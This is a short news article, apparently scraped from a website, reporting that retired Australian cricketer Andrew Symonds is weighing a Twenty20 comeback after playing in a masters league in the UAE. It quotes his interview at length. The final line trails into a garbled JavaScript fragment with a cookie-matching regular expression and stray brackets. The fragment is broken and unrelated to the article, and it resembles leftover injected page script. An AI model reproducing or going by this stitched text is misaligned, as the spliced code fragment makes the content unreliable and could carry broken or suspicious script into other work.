AMSTERDAM, NETHERLANDS - AUGUST 23: Andrew Symonds of Australia in action during the Videcon Cup Match against India at VRA Cricket Club on August 23, 2004 in Amsterdam, Netherlands. (Photo by Matthew Lewis/Getty Images)
Former Australian all-rounder Andrew Symonds is considering coming out of retirement to become a Twenty20 gun for hire.
Symonds retired from all cricket in 2012 and played his last match for Australia in 2009.
But the former big hitter says he has loved playing in the recent Masters Champions League in the UAE, which is for retired payers.
“People have asked me, ‘would you consider starting up again?’” Symonds said in an interview with ESPNcricinfo.
“It’s something I’ve definitely got to consider.
“I suppose I’m in a situation where I could go back, try and get really fit and engage again. Or just be happy doing what I’m doing. That’s something I’ve got to work out in the next six months or so.
“I’m enjoying playing. It’s physically demanding, but I’m enjoying the challenge again. I’m enjoying the adrenaline and the nerves again. It’s not too bad at all. I am enjoying it.” "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}